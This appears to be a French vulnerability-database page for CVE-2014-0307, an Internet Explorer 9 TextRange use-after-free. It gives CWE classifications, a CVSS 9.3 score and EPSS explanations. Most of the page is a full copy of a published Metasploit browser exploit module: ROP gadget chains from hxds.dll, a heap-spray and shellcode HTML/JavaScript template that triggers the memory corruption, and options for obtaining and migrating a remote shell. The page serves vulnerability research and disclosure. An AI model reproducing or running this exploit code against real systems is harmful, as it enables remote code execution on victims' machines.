Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
CWE-416 |
Use After Free The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 32438
Date de publication : 2014-03-21 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => "MS14-012 Internet Explorer TextRange Use-After-Free",
'Description' => %q{
This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw
was most likely introduced back in 2013, therefore only certain builds of MSHTML are
affected. In our testing with IE9, these vulnerable builds appear to be between
9.0.8112.16496 and 9.0.8112.16533, which implies August 2013 until early March 2014
(before the patch).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jason Kratzer', # Original discovery
'sinn3r' # Port
],
'References' =>
[
[ 'CVE', '2014-0307' ],
[ 'MSB', 'MS14-012' ]
],
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script/i,
:os_name => OperatingSystems::WINDOWS,
:ua_name => HttpClients::IE,
:office => "2010"
#:ua_ver => '9.0' # Some fingerprinting issue w/ os_detect, disabled for now
},
'Targets' =>
[
[
'Automatic',
{
# mov eax,dword ptr [edx+0C4h]; call eax
'Pivot' => 0x0c0d1020 # ECX
}
]
],
'Payload' =>
{
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500
},
'DefaultOptions' =>
{
'Retries' => false, # You're too kind, tab recovery, I only need 1 shell.
'InitialAutoRunScript' => 'migrate -f'
},
'DisclosureDate' => "Mar 11 2014", # Vuln was found in 2013. Mar 11 = Patch tuesday
'DefaultTarget' => 0))
end
# hxds.dll
def get_payload
setup =
[
0x51C3B376, # rop nop
0x51C2046E, # pop edi; ret
0x51BE4A41, # xchg eax, esp; ret
].pack("V*")
# rop nops
45.times { setup << [0x51C3B376].pack('V*') }
setup << [
0x51C2046E, # pop edi ; ret
0x51BD28D4 # mov eax, [ecx], call [eax+8]
].pack('V*')
p = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>setup})
Rex::Text.to_unescape(p)
end
def exploit_html
template = %Q|<!DOCTYPE html>
<html>
<head>
<meta http-equiv='Cache-Control' content='no-cache'/>
<meta http-equiv="X-UA-Compatible" content="IE=edge" >
<script>
<%=js_property_spray%>
sprayHeap({shellcode:unescape("<%=get_payload%>")});
function hxds() {
try {
location.href = 'ms-help:';
} catch(e) {}
}
function strike() {
hxds();
var fake = "";
for (var i = 0; i < 12; i++) {
if (i==0) {
fake += unescape("<%=Rex::Text.to_unescape([target['Pivot']].pack('V*'))%>");
}
else {
fake += "\\u4141\\u4141";
}
}
var elements = [
'FOOTER', 'VIDEO', 'HTML', 'DIV', 'WBR', 'THEAD', 'PARAM', 'SECTION', 'IMG',
'TIME', 'ASISE', 'CANVAS', 'P', 'RT', 'FRAMESET', 'TRACK', 'CAPTION'
];
for (var i = 0; i < elements.length; i++) {
var element = document.createElement(elements[i]);
document.body.appendChild(element);
}
var tRange = document.body.createTextRange();
tRange.moveToElementText(document.body.children[16]);
tRange.execCommand('InsertInputSubmit', true, null);
tRange.moveToElementText(document.body.children[0]);
tRange.moveEnd('character',4);
tRange.execCommand('InsertOrderedList', true, null);
tRange.select();
tRange.moveToElementText(document.body.children[0]);
tRange.moveEnd('character',13);
tRange.execCommand('Underline', true, null);
tRange.execCommand('RemoveFormat', true, null);
var fillObject = document.createElement('button');
fillObject.className = fake;
}
</script>
</head>
<body onload='strike();'></body>
</html>
|
return template, binding()
end
def on_request_exploit(cli, request, target_info)
send_exploit_html(cli, exploit_html)
end
end
Products Mentioned
Configuraton 0
Microsoft>>Internet_explorer >> Version 9
Références